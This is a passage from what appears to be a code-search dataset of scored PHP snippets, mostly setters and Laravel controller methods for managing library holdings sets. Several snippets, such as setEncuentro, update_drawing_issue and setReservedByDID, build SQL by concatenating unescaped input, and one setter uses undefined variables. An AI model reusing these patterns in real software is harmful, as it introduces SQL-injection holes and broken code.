$holdingssets]);\n\t\t\treturn $newset;\n\t\t}", "title": "" }, { "docid": "44f6fedfcec9b60455eee7ac60511314", "score": "0.47919345", "text": "public function setOehdccamt($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->oehdccamt !== $v) {\n $this->oehdccamt = $v;\n $this->modifiedColumns[SoHeaderTableMap::COL_OEHDCCAMT] = true;\n }\n\n return $this;\n }", "title": "" }, { "docid": "daec7ed23e7094217c25165240043192", "score": "0.47867742", "text": "public function putRecallHoldingsset($id) {\n\t\t\t$HOS = Holdingsset::find($id);\n\t\t\t$HOS->holdings()->update(['force_blue' => 'f', 'force_owner' => 'f', 'force_aux' => 'f']);\n\t\t\t$sys1 = $HOS->sys1;\n\n\t\t\t$holdings = $HOS->holdings()->get();\n\n\t\t\t// foreach ($holdings as $holding) {\n\t\t\t// \t$hnrm = str_replace(' ', '', $holding->hol_nrm);\n\t\t\t// \tif ($hnrm == '') {\n\t\t\t// \t$sys2 = $holding -> sys2;\n\t\t\t// \t$new866a = ($holding->f866aupdated == '') ? $holding->f866a : $holding->f866aupdated ;\n\t\t\t// \t$new866a .= ' ';\n\t\t\t// \t$newhol_nrm = normalize866a($new866a, $sys2);\n\t\t\t// \t$holding->update(['f866aupdated'=>$new866a, 'hol_nrm' => $newhol_nrm]);\n\t\t\t// \t}\n\t\t\t// }\n\n\n\t\t\tholdingsset_recall($id);\n\t\t\t$holdingssets[] = Holdingsset::find($id);\n\t\t\t$newset = View::make('holdingssets/hos', ['holdingssets' => $holdingssets]);\n\t\t\treturn $newset;\n\t\t}", "title": "" }, { "docid": "2de1bdae22d1955c2c4922a644570c7a", "score": "0.47333947", "text": "public function putUpdateField866aHolding($id) {\n\n\t\t\t$new866a = Input::get('new866a');\n\t\t\t$new866a = ($new866a == '') ? Input::get('value') : $new866a;\n\t\t\t$holdingsset_id = Holding::find($id)->holdingsset_id;\n\n\t\t\t$newhol_nrm = normalize866a($new866a, Holding::find($id)->sys2);\n\t\t\t// echo 'Y el resultado es: <br>';\n\t\t\t// die(var_dump($new866a));\n\t\t\t$holding = Holding::find($id)->update(['f866aupdated'=>$new866a, 'hol_nrm' => $newhol_nrm]);\n\n\t\t\tholdingsset_recall($holdingsset_id);\n\t\t\t\n\t\t\t$holdingssets[] = Holdingsset::find($holdingsset_id);\n\t\t\t$newset = View::make('holdingssets/hos', ['holdingssets' => $holdingssets]);\n\t\t\treturn $newset;\n\t\t}", "title": "" }, { "docid": "339aea876da23aedc8bc2868ccaa20c8", "score": "0.46926567", "text": "function _set_id( $idEstudiante ){\n \t\t$this->idEstudiante = $idEstudiante;\n }", "title": "" }, { "docid": "e3788ad9d1017333be3acf5b7a54ec67", "score": "0.46824032", "text": "public function setCordenada($value){\r\n $this->cordenada = $value;\r\n\r\n }", "title": "" }, { "docid": "84f9db6df224c97029c1b0385c01ac40", "score": "0.4674501", "text": "function set_owner_id($owner)\r\n {\r\n $this->set_default_property(self :: PROPERTY_OWNER_ID, $owner);\r\n }", "title": "" }, { "docid": "cdeddf295fb8919c099906e9056b58b6", "score": "0.4666106", "text": "function setidpersona($val) {$this->idpersona=$val;}", "title": "" }, { "docid": "1b03e5063f52f561ec08ec126efaa624", "score": "0.46173656", "text": "function setEditableCategoryID($ecid)\n {\n if ($this->isCorrectCategoryId($ecid))\n {\n $this->editableCategoryID = $ecid;\n }\n }", "title": "" }, { "docid": "9a4c0533484c467115d30cb4b23f7db9", "score": "0.4601199", "text": "public function putForceAux($id) {\n\t\t// die($id);\n\t\t// aux_ptrn-- poner en 1 los marcados\n\t\t// ocrr_ptrn-- poner en 1 los marcados\n\n\t\t// is_aux -> t\n\t\t// is_owner -> false\n\t\t// weight Cantidad de 1\n\t\t// ocrr_nr Cantidad de ocurrencias\n\n\t\t\t$holdingsset_id = Input::get('holdingsset_id');\n\t\t\t$holding = Holding::find($id);\n\n\t\t\t$was_oner = (($holding->is_owner == '1') || ($holding->is_owner == 't')) ? true : false;\n\n\t\t\tif (Input::get('unique_aux') == '1') {\n\t\t\t\t$holdingsset = Holdingsset::find($holdingsset_id);\n\t\t\t\t$ptrn = Input::get('ptrn');\n\t\t\t\t$empty_ptrn = str_replace('1', '0', $ptrn);\n\t\t\t\t$holdingsset->holdings()->where('id', '!=', $id)->update(['is_aux' => 'f', 'aux_ptrn' => $empty_ptrn]);\n\t\t\t\t$holdingsset->holdings()->where('id', '!=', $id)->where('is_owner', 'f')->update(['fx866a' => '']);\n\t\t\t\t\n\t\t\t\t$fx866a = '';\n\t\t\t\t$tmpfx866a = '';\n\t\t\t\t$painters = explode('|',$holding->c_arr);\n\t\t\t\t$prtnall = explode('|', $holdingsset->ptrn);\n\t\t\t\t$auxs = $ptrn;\n\t\t\t\t$k = -1;\n\t\t\t\t$ff = -1;\n\t\t\t\t$fy = -1;\n\t\t\t\t$ly = -1;\n\t\t\t\tfor ($ff=0; $ff < strlen($auxs); $ff++) { \n\t\t\t\t\t$aux = $auxs[$ff];\n\t\t\t\t\tif ($aux == 1) {\n\t\t\t\t\t\t$k++;\n\t\t\t\t\t\tif ($painters[$ff] == '>') {\n\t\t\t\t\t\t\t$tmpfx866a .= ($tmpfx866a == '') ? getSquareValue($prtnall[$ff]).' '.date('Y') : '; '.getSquareValue($prtnall[$ff]).' '.date('Y');\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($painters[$ff] == ']') {\n\t\t\t\t\t\t\t$tmpfx866a .= ($tmpfx866a == '') ? (getSquareValue($prtnall[$ff-1]) + 1).' - ' : '; '.(getSquareValue($prtnall[$ff-1]) + 1).' - ';\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\t\t\t\t\t\t\n\t\t\t\t\t\t\t$tmpfx866a .= ($tmpfx866a == '') ? getSquareValue($prtnall[$ff]) : '; '.getSquareValue($prtnall[$ff]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$fy = ($fy == -1) ? $ff : $fy;\n\t\t\t\t\t\t$ly = $ff;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tif ($tmpfx866a != '') {\n\t\t\t\t\t\t\tif (($fy != -1) && ($ly != -1) && ($fy != $ly)) {\n\t\t\t\t\t\t\t\t$fx866a .= ($fx866a == '') ? getSquareValue($prtnall[$fy]).' - '.getSquareValue($prtnall[$ly]) : '; '.getSquareValue($prtnall[$fy]).' - '.getSquareValue($prtnall[$ly]);\n\t\t\t\t\t\t\t\t$fy = -1;$ly = -1;\n\t\t\t\t\t\t\t\t$tmpfx866a = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t$fx866a .= ($fx866a == '') ? $tmpfx866a : '; '.$tmpfx866a;\n\t\t\t\t\t\t\t\t$fy = -1;$ly = -1;\n\t\t\t\t\t\t\t\t$tmpfx866a = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\t\t\t\n\t\t\t\t}\n\t\t\t\tif ($tmpfx866a != '') {\n\t\t\t\t\tif (($fy != -1) && ($ly != -1) && ($fy != $ly)) {\n\t\t\t\t\t\t$fx866a .= ($fx866a == '') ? getSquareValue($prtnall[$fy]).' - '.getSquareValue($prtnall[$ly]) : '; '.getSquareValue($prtnall[$fy]).' - '.getSquareValue($prtnall[$ly]);\n\t\t\t\t\t\t$fy = -1;$ly = -1;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$fx866a .= ($fx866a == '') ? $tmpfx866a : '; '.$tmpfx866a;\n\t\t\t\t\t\t$fy = -1;$ly = -1;\n\t\t\t\t\t}\t\t\t\n\t\t\t\t}\t\t\t\n\n\t\t\t\t$holdingsset->holdings()->where('id', '=', $id)->update(['is_aux' => 't', 'is_owner' => 'f', 'aux_ptrn' => $ptrn, 'fx866a' => $fx866a]);\t\t\t\t\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$holdingsset = Holdingsset::find($holdingsset_id);\n\t\t\t\t$fx866a = '';\n\t\t\t\t$f866a = explode(';', $holding->f866a);\n\t\t\t\t$ptrn = Input::get('newauxptrn');\n\n\t\t\t\t$fx866a = '';\n\t\t\t\t$tmpfx866a = '';\n\t\t\t\t$painters = explode('|',$holding->c_arr);\n\t\t\t\t$prtnall = explode('|', $holdingsset->ptrn);\n\t\t\t\t$auxs = $ptrn;\n\t\t\t\t$k = -1;\n\t\t\t\t$ff = -1;\n\t\t\t\t$fy = -1;\n\t\t\t\t$ly = -1;\n\t\t\t\tfor ($ff=0; $ff < strlen($auxs); $ff++) { \n\t\t\t\t\t$aux = $auxs[$ff];\n\t\t\t\t\tif ($aux == 1) {\n\t\t\t\t\t\t$k++;\n\t\t\t\t\t\tif ($painters[$ff] == '>') {\n\t\t\t\t\t\t\t$tmpfx866a .= ($tmpfx866a == '') ? getSquareValue($prtnall[$ff]).' '.date('Y') : '; '.getSquareValue($prtnall[$ff]).' '.date('Y');\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($painters[$ff] == ']') {\n\t\t\t\t\t\t\t$tmpfx866a .= ($tmpfx866a == '') ? (getSquareValue($prtnall[$ff-1]) + 1).' - ' : '; '.(getSquareValue($prtnall[$ff-1]) + 1).' - ';\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\t\t\t\t\t\t\n\t\t\t\t\t\t\t$tmpfx866a .= ($tmpfx866a == '') ? getSquareValue($prtnall[$ff]) : '; '.getSquareValue($prtnall[$ff]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$fy = ($fy == -1) ? $ff : $fy;\n\t\t\t\t\t\t$ly = $ff;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tif ($tmpfx866a != '') {\n\t\t\t\t\t\t\tif (($fy != -1) && ($ly != -1) && ($fy != $ly)) {\n\t\t\t\t\t\t\t\t$fx866a .= ($fx866a == '') ? getSquareValue($prtnall[$fy]).' - '.getSquareValue($prtnall[$ly]) : '; '.getSquareValue($prtnall[$fy]).' - '.getSquareValue($prtnall[$ly]);\n\t\t\t\t\t\t\t\t$fy = -1;$ly = -1;\n\t\t\t\t\t\t\t\t$tmpfx866a = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t$fx866a .= ($fx866a == '') ? $tmpfx866a : '; '.$tmpfx866a;\n\t\t\t\t\t\t\t\t$fy = -1;$ly = -1;\n\t\t\t\t\t\t\t\t$tmpfx866a = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\t\t\t\n\t\t\t\t}\n\t\t\t\tif ($tmpfx866a != '') {\n\t\t\t\t\tif (($fy != -1) && ($ly != -1) && ($fy != $ly)) {\n\t\t\t\t\t\t$fx866a .= ($fx866a == '') ? getSquareValue($prtnall[$fy]).' - '.getSquareValue($prtnall[$ly]) : '; '.getSquareValue($prtnall[$fy]).' - '.getSquareValue($prtnall[$ly]);\n\t\t\t\t\t\t$fy = -1;$ly = -1;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$fx866a .= ($fx866a == '') ? $tmpfx866a : '; '.$tmpfx866a;\n\t\t\t\t\t\t$fy = -1;$ly = -1;\n\t\t\t\t\t}\t\t\t\n\t\t\t\t}\t\t\t\t\n\n\t\t\t\t$holding->update(['is_aux'=>'t', 'is_owner'=>'f', 'ocrr_ptrn'=> Input::get('newptrn'), 'aux_ptrn'=> Input::get('newauxptrn'), 'ocrr_nr' => Input::get('count'), 'force_aux' => 't', 'force_owner' => 'f', 'fx866a' => $fx866a]);\n\t\t\t}\n\t\t\tif ($was_oner) holdingsset_recall($holdingsset_id);\n\t\t\t$holdingssets[] = Holdingsset::find($holdingsset_id);\n\t\t\t$newset = View::make('holdingssets/hos', ['holdingssets' => $holdingssets]);\n\t\t\treturn $newset;\n\t\t}", "title": "" }, { "docid": "ab55ae8fe1a6a6b091335fced7d7a413", "score": "0.45858073", "text": "public function setReclamoOid($oid){\n\t\t$reclamo = UIServiceFactory::getUIReclamoService()->get($oid);\n\t\t\n\t\t$this->setReclamo($reclamo);\n\t\t\n\t}", "title": "" }, { "docid": "c1b2e86ead9d4051adfafa94b434b83e", "score": "0.4546148", "text": "public function setEdad($valor){\n $this->edad = $valor;\n\n }", "title": "" }, { "docid": "caf8ef5498c189d3940e3a66001d71ca", "score": "0.45434195", "text": "function setCPRelDad($newval)\n {\n global $msg;\n\n if ($newval >= Child::RELATE_NULL && \n $newval <= Child::RELATE_ILLEGITIMATE)\n return parent::set('idcpdad', $newval);\n else\n $msg .= \"Child::setCPRelDad: called with value='\" .\n htmlspecialchars($newval) . \"'. \";\n }", "title": "" }, { "docid": "0d1f5928c61a7f405d3fda599e6ed4c0", "score": "0.45343256", "text": "public function setOrden($orden){\n\t\t$this->orden = $orden;\n\t}", "title": "" }, { "docid": "8eaeb3952d2503a8398831efabbfe534", "score": "0.45321083", "text": "function set_idLegajo( $idLegajo ) {\n // sets the value of idLegajo\n $this->idLegajo = $idLegajo;\n }", "title": "" }, { "docid": "9d0879f7588301ad5b8c328ed365462e", "score": "0.45296207", "text": "public function setEdad($valor){\n $this->edad=$valor;\n\n}", "title": "" }, { "docid": "c855b5c59e4ab6b47f8d377e8faf71ad", "score": "0.45087186", "text": "public function setArcumyvendid($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->arcumyvendid !== $v) {\n $this->arcumyvendid = $v;\n $this->modifiedColumns[ArCustMastTableMap::COL_ARCUMYVENDID] = true;\n }\n\n return $this;\n }", "title": "" }, { "docid": "1ce18f52e7f7db4788cda40ebe35884b", "score": "0.45080537", "text": "public function putNewHOS($id) {\n\t\t\t$holdingsset_id = Input::get('holdingsset_id');\n\t\t\t\n\t\t\tif (Input::has('holding_id')) {\n\t\t\t\t$ids = implode(';',Input::get('holding_id'));\n\t\t\t\t$idsAux = explode('?',$ids);\n\t\t\t\t$idsA = $idsAux[0];\n\t\t\t\t$ids = explode(';',$idsA);\n\t\t\t\t// $ids = Input::get('holding_id');\n\t\t\t\tif (Input::has('update_hos') && (Input::get('update_hos') == 1)) {\n\t\t\t\t\t$ids[] = -1;\n\t\t\t\t\tHolding::whereIn('id', $ids)->update(['holdingsset_id'=>$holdingsset_id]);\n\t\t\t\t\tHoldingsset::find($holdingsset_id)->increment('holdings_number', count($ids));\n\t\t\t\t\t$recalled = array();\n\t\t\t\t\tforeach ($ids as $hol_id) {\n\t\t\t\t\t\tif ($hol_id != -1) {\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$hos_id = Holding::find($hol_id)->holdingsset_id;\t\t\t\t\t\t \n\t\t\t\t\t\t\tHoldingsset::find($hos_id)->decrement('holdings_number');\n\t\t\t\t\t\t\tif (!(in_array($hos_id, $recalled))) { \n\t\t\t\t\t\t\t\tholdingsset_recall($hos_id);\n\t\t\t\t\t\t\t\t$recalled[] = $hol_id;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tholdingsset_recall($holdingsset_id);\n\t\t\t\t\t$holdingssets[] = Holdingsset::find($holdingsset_id);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$newhos_id = createNewHos($ids[0]);\n\t\t\t\t\t$ids[] = -1;\n\t\t\t\t\tHolding::whereIn('id', $ids)->update(['holdingsset_id'=>$newhos_id]);\n\t\t\t\t\tHoldingsset::find($holdingsset_id)->decrement('holdings_number', count($ids));\n\t\t\t\t\tHoldingsset::find($newhos_id)->update(['holdings_number' => count($ids), 'groups_number'=>0]);\n\t\t\t\t\tholdingsset_recall($holdingsset_id);\n\t\t\t\t\tif (Holdingsset::find($holdingsset_id)->holdings()->count() == 1) {\n\t\t\t\t\t\tConfirm::create([ 'holdingsset_id' => $holdingsset_id, 'user_id' => Auth::user()->id ]);\n\t\t\t\t\t\t// Holdingsset::find($holdingsset_id)->update(['state' => 'ok']);\n\t\t\t\t\t}\n\t\t\t\t\tholdingsset_recall($newhos_id);\n\t\t\t\t\tif (Holdingsset::find($newhos_id)->holdings()->count() == 1) {\n\t\t\t\t\t\tConfirm::create([ 'holdingsset_id' => $newhos_id, 'user_id' => Auth::user()->id ]);\n\t\t\t\t\t\t// Holdingsset::find($holdingsset_id)->update(['state' => 'ok']);\n\t\t\t\t\t}\n\t\t\t\t\t// Confirm::create([ 'holdingsset_id' => $newhos_id, 'user_id' => Auth::user()->id ]);\n\t\t\t\t\t// Holdingsset::find($newhos_id)->update(['state' => 'ok']);\n\t\t\t\t\t\n\t\t\t\t\t$holdingssets[] = Holdingsset::find($holdingsset_id);\n\t\t\t\t\t$holdingssets[] = Holdingsset::find($newhos_id);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tHoldingsset::find($holdingsset_id)->decrement('holdings_number');\n\t\t\t\t$newhos_id = createNewHos($id);\n\t\t\t\tHoldingsset::find($newhos_id)->update(['holdings_number' => 1, 'groups_number' => 0]);\n\t\t\t\tholdingsset_recall($holdingsset_id);\n\t\t\t\tholdingsset_recall($newhos_id);\n\t\t\t\t$holdingssets[] = Holdingsset::find($holdingsset_id);\n\t\t\t\t$holdingssets[] = Holdingsset::find($newhos_id);\n\t\t\t}\n\t\t\t$newset = View::make('holdingssets/hos', ['holdingssets' => $holdingssets]);\n\t\t\treturn $newset;\n\t\t// return Response::json( ['newhosok' => [$id]] );\n\t\t}", "title": "" }, { "docid": "c62cbf47b7984331aa9b3ffa45f79128", "score": "0.44869405", "text": "public function setOehddroprelhold($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->oehddroprelhold !== $v) {\n $this->oehddroprelhold = $v;\n $this->modifiedColumns[SoHeaderTableMap::COL_OEHDDROPRELHOLD] = true;\n }\n\n return $this;\n }", "title": "" }, { "docid": "dfa658b2e174266d6885504f2e74283c", "score": "0.44619104", "text": "function setidcurso($val) {$this->idcurso=$val;}", "title": "" }, { "docid": "4ec722566ce7e588848055aee7df2bac", "score": "0.44453073", "text": "public function setOid($d){ $this->_oid = $d; return $this;}", "title": "" }, { "docid": "1244b76a5e99c5231ffd517ee6004645", "score": "0.44438663", "text": "public function setOrden($orden)\n {\n $this->orden = $orden;\n }", "title": "" }, { "docid": "a6d59cbcbab029b4004e594e2c3618f7", "score": "0.44390258", "text": "public function setOehdcont($v)\n {\n if ($v !== null) {\n $v = (string) $v;\n }\n\n if ($this->oehdcont !== $v) {\n $this->oehdcont = $v;\n $this->modifiedColumns[SoHeaderTableMap::COL_OEHDCONT] = true;\n }\n\n return $this;\n }", "title": "" }, { "docid": "003a3b72d12ce0f4ef206e52728c5918", "score": "0.43593702", "text": "public function setDuesamountpaid($v)\n\t{\n\t\tif ($v !== null) {\n\t\t\t$v = (double) $v;\n\t\t}\n\n\t\tif ($this->duesamountpaid !== $v || $v === 0) {\n\t\t\t$this->duesamountpaid = $v;\n\t\t\t$this->modifiedColumns[] = RpMemberApplicationPeer::DUESAMOUNTPAID;\n\t\t}\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "1f35f63c177e1558105e81836da4fc54", "score": "0.4357885", "text": "function set_group_id($value) {\n\t\t$this->_data['parentcell_id'] = $value;\n\t}", "title": "" }, { "docid": "a92c7f2b8e3011d7aadc35f734a965ae", "score": "0.4335944", "text": "public function setAffiliateid($v)\n\t{\n\r\n\t\t// Since the native PHP type for this column is integer,\r\n\t\t// we will cast the input value to an int (if it is not).\r\n\t\tif ($v !== null && !is_int($v) && is_numeric($v)) {\r\n\t\t\t$v = (int) $v;\r\n\t\t}\r\n\n\t\tif ($this->affiliateid !== $v) {\n\t\t\t$this->affiliateid = $v;\n\t\t\t$this->modifiedColumns[] = OrderStateChangePeer::AFFILIATEID;\n\t\t}\n\n\t\tif ($this->aAffiliate !== null && $this->aAffiliate->getId() !== $v) {\n\t\t\t$this->aAffiliate = null;\n\t\t}\n\n\t}", "title": "" }, { "docid": "c62ec2090a331151ae267408f217bea8", "score": "0.43192318", "text": "public function setEncuentro($idDesafio, $idEquipo, $respuesta, $estado){\n\t\t$sql = \"INSERT INTO Encuentro (idDesafio, idEquipo, respuesta, estadoSolicitud) \n\t\t\tVALUES ('\".$idDesafio.\"', '\".$idEquipo.\"' , '\".$respuesta.\"', '\".$estado.\"');\";\n\t\t$query = $this->db->prepare($sql);\n\t\t$query->execute();\n\t}", "title": "" }, { "docid": "7bbfa2e0d818ef1b885035dfaecc3179", "score": "0.43139222", "text": "public function setCedtra($cedtra){\n\t\t$this->cedtra = $cedtra;\n\t}", "title": "" }, { "docid": "7bbfa2e0d818ef1b885035dfaecc3179", "score": "0.43139222", "text": "public function setCedtra($cedtra){\n\t\t$this->cedtra = $cedtra;\n\t}", "title": "" }, { "docid": "ad2bb4e4265c8863b8a348ed07cce8c9", "score": "0.43072152", "text": "public function modifieSecteurOrdre ($secteur_id, $ordre) {\n\t $req = self::$bdd->prepare('UPDATE secteur SET ordre=:ordre WHERE id=:secteur_id');\n\t\t$req->bindValue(\"secteur_id\", $secteur_id);\n\t\t$req->bindValue(\"ordre\", $ordre);\n\t $req->execute();\n\t}", "title": "" }, { "docid": "47e464d258ba4c65a864cf5f7f95153b", "score": "0.4301044", "text": "function estadoOrdenAction($oid){\r\n \t$orden = Orden::findFirst(\"id = $oid\");\r\n \t$orden->estado = $orden->estado + 1;\r\n \t$orden->hfinal = parent::fechaHoy(true);\r\n \tif($orden->update()){\r\n \t\tparent::msg(\"Orden $orden->numero entregada al cliente\", \"s\");\r\n \t\treturn parent::forward(\"orden\", \"index\");\r\n \t}\r\n }", "title": "" }, { "docid": "07922ec3fbfd1c2ec04726ebbe79a499", "score": "0.4296936", "text": "public function setIdAlbergue($idAlbergue){\n $this->idAlbergue = $idAlbergue;\n }", "title": "" }, { "docid": "b6039b0efd043e6867c0e0364238b2ee", "score": "0.42962316", "text": "public function getArcucredhold()\n {\n return $this->arcucredhold;\n }", "title": "" }, { "docid": "87aafd674c3d2c47a5139d15856da74f", "score": "0.42939603", "text": "public function setID($_id){\n $this -> id = $_id;\n }", "title": "" }, { "docid": "e9a190ce5b7669ad8fb5c14b19d3162a", "score": "0.42908275", "text": "public function setIdc($idc)\n {\n $this->idc = $idc;\n }", "title": "" }, { "docid": "cd65e2d45a48692c89f37f0858df841f", "score": "0.42900985", "text": "public function setHousenoAttribute(?string $value)\n {\n $this->attributes['houseno'] = preg_replace('/[\\x00-\\x1F\\x7F]/u', '', $value);\n }", "title": "" }, { "docid": "46b59116f8d99a2fe81528d5f55423b3", "score": "0.4283338", "text": "function setIdComuna($id_comuna)\r\n\t {\r\n\t\t $this->id_comuna = $id_comuna;\r\n\t }", "title": "" }, { "docid": "a8625c991583643b6da70bbf2c3f5e3d", "score": "0.4281972", "text": "public function set(string $id, $enty): void;", "title": "" }, { "docid": "395dbc32dbc6cd4bb29e94c91eee8516", "score": "0.4269521", "text": "protected function setIdAlias($value)\n {\n $this->rawId = $value;\n }", "title": "" }, { "docid": "383a3ef3c9bb2fa1326f750097e6ffb0", "score": "0.42581803", "text": "public function setHold($hold) {\n $this->options['hold'] = $hold;\n return $this;\n }", "title": "" }, { "docid": "383a3ef3c9bb2fa1326f750097e6ffb0", "score": "0.42581803", "text": "public function setHold($hold) {\n $this->options['hold'] = $hold;\n return $this;\n }", "title": "" }, { "docid": "2bce8dfcade09a353b01fb01772cc311", "score": "0.4248826", "text": "public function setAgencyID($value){\n\t\t\t$this->agency_id = $value;\n\t\t}", "title": "" }, { "docid": "b2663efa050b4ba8ceae5f4cad766c00", "score": "0.42477837", "text": "public function setIdEncuesta($idEncuesta){\n\t\t\t\t$this->idEncuesta=$idEncuesta;\n\t\t\n\t}", "title": "" }, { "docid": "9ca773d118b0146f44c846b63f4da64b", "score": "0.4247543", "text": "public function setCID($value = NULL){\n\t\t\tif(is_numeric($value)){\n\t\t\t\t$this->work_c_id = $value;\n\t\t\t}else{\n\t\t\t\t$this->work_c_id = NULL;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "cf2c244a0454ed39a784b995eb9ba76d", "score": "0.423794", "text": "public static function updateHoleinoneTrue($id) {\n\n $query = DB::connection()->prepare('UPDATE Golffari SET holari = true WHERE id = :id');\n $query->execute(array(\n 'id' => $id\n ));\n }", "title": "" }, { "docid": "42ee76d6bc97199d372964a699b7b659", "score": "0.42375198", "text": "public function getArcumyvendid()\n {\n return $this->arcumyvendid;\n }", "title": "" }, { "docid": "14570282ecf14dd1ddcd03f7ea159bb1", "score": "0.4231452", "text": "public function _set($id, $value){}", "title": "" }, { "docid": "367ad45d2b288849dae0c7e0f4b8287e", "score": "0.42275134", "text": "function update_drawing_issue($value,$id) {\n\t\t\n\t\t$result = mysql_query(\"UPDATE ere_drawings SET status = '$value' WHERE drwg_id = '$id'\"); \n\t\t\n\t}", "title": "" }, { "docid": "38dbf8d3a6ca8ff79350103bb6f6d40b", "score": "0.42247397", "text": "function setUserId($id) {\n\t\t$this->_dataItem->cgn_user_id = $id;\n\t}", "title": "" }, { "docid": "455dceb4aed2ce36c1f01b9e57d697a7", "score": "0.4221538", "text": "public function setIdl($idl)\n {\n $this->idl = $idl;\n }", "title": "" }, { "docid": "455dceb4aed2ce36c1f01b9e57d697a7", "score": "0.4221538", "text": "public function setIdl($idl)\n {\n $this->idl = $idl;\n }", "title": "" }, { "docid": "f417702d98991c5fdaf27cfef4a5392c", "score": "0.42197642", "text": "private static function _setDbh($role, $dbh)\n {\n self::$_dbhs[$role] = $dbh;\n }", "title": "" }, { "docid": "e889dbf93a22eea45a253f05d134b620", "score": "0.42182776", "text": "public function setidLedroit(int $idledroit):void\n {\n $idledroit = (int)$idledroit;\n //checking the value user is not equal 0 and is number\n if(($id_user_room === 0) && (ctype_digit($idledroit))){ \n trigger_error(\"This can not equal to zero!!\",E_USER_NOTICE);\n //checking is not empty\n }else if(empty($idlecode)){\n trigger_error('The session ID is not valide',E_USER_NOTICE);\n }else{\n $this->idledroit = $idledroit;\n \n }\n }", "title": "" }, { "docid": "93c926ce15ca22eda5da95a46c6027f8", "score": "0.42078862", "text": "public function set_affiliate_id( $affiliate_id, $tracking ) {\n\t\t$affwp_ref = ! empty( $_COOKIE['affwp_ref'] ) ? $_COOKIE['affwp_ref'] : false;\n\n\t\tif ( empty( $affwp_ref ) ) {\n\t\t\t$_COOKIE['affwp_ref'] = $affiliate_id;\n\t\t}\n\t}", "title": "" }, { "docid": "1715f8e0ba94b541d8d5837cbfd3b78b", "score": "0.42062965", "text": "function set_values(){\n\n\n$this->doors = 10;\n\n\t}", "title": "" }, { "docid": "b1b2a02b5b5aa3da911f962895238235", "score": "0.4191252", "text": "function set_group_id($value, $index=NULL) {\n\t\t$this->_data['cell_id'] = $value;\n\t}", "title": "" }, { "docid": "27f23db526013fbf4c2dcaad670a555f", "score": "0.4187398", "text": "public function setMvhdData($mvhd) {\n //For now just swap the reference\n //Perhaps copying individual fields provides better performance later\n $this->mvhd = $mvhd;\n }", "title": "" }, { "docid": "a89738dd03e371bc8ea2930f789620dd", "score": "0.41788143", "text": "function propagar_id()\n\t{\t\t\n\t\ttoba::memoria()->set_dato('apex_editable_zona', $this->get_editable());\n\t}", "title": "" }, { "docid": "936af93f3358639c159c8be976b78065", "score": "0.41756845", "text": "public static function Update($ochd){\n\t\t$query = \"UPDATE crm_chd SET \n\t\tfechaActualizacion\t = NOW(),\n\t\tlocalID\t\t\t ='$ochd->localID',\n\t\ttipoCHD\t\t \t ='$ochd->tipoCHD'\n\t\tWHERE \n\t\tchdID\t=$ochd->chdID\";\n\t\treturn parent::Execute($query);\n\t}", "title": "" }, { "docid": "d9b483e7867262b17d644fdfecb79ee7", "score": "0.41697976", "text": "public function applyDefaultValues()\n {\n $this->arcucustid = '';\n }", "title": "" }, { "docid": "e1b45e34706d0e4f883c7502ccaa753b", "score": "0.4168596", "text": "function setReservedByDID($did){\r\n\t\t$query = \"update unassigned_audids \r\n\t\t\t\t\tset reserved_until = ADDDATE(NOW(), INTERVAL \".DID_RESERVATION_EXPIRES_MINUTES.\" MINUTE)\r\n\t\t\t\t\twhere did_number='$did' and reserved_until is null\";\r\n\t\t$result = mysql_query($query);\r\n\t\tif(mysql_error()==\"\" && mysql_affected_rows()>0){\r\n\t\t\treturn true;\r\n\t\t}else{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "3a79eb4bfcc50bd6da90db715bc6edb3", "score": "0.41665733", "text": "public function setDeals(Record $deals)\n\t{\n\t\t$this->deals=$deals; \n\t\t$this->keyModified['Deals'] = 1; \n\n\t}", "title": "" }, { "docid": "346b2dfb1e2b95143dc707fb92d484a2", "score": "0.41656607", "text": "public function setEdukiaId($data)\n {\n\n if (is_null($data)) {\n throw new \\InvalidArgumentException(_('Required values cannot be null'));\n }\n if ($this->_edukiaId != $data) {\n $this->_logChange('edukiaId');\n }\n\n if ($data instanceof \\Zend_Db_Expr) {\n $this->_edukiaId = $data;\n\n } else if (!is_null($data)) {\n $this->_edukiaId = (int) $data;\n\n } else {\n $this->_edukiaId = $data;\n }\n return $this;\n }", "title": "" }, { "docid": "2be2140cb4ddf7ec439724247771c7aa", "score": "0.4159733", "text": "function alterar_dados_aluno($dados, $id_aluno) {\n $this->db->where('id_aluno', $id_aluno);\n $this->db->update('aluno', $dados);\n }", "title": "" }, { "docid": "5a5199306fa47cc1e928617119ac6b85", "score": "0.41580862", "text": "public function update(HouseholdRequest $request,$id)\n { \n $tableEntity = HouseholdDetail::find($id);\n\n $tableEntity->name = $request->name; \n $tableEntity->total_female = $request->total_female; \n $tableEntity->total_male = $request->total_male;\n $tableEntity->total_above_60 = $request->total_above_60; \n $tableEntity->total_below_10 = 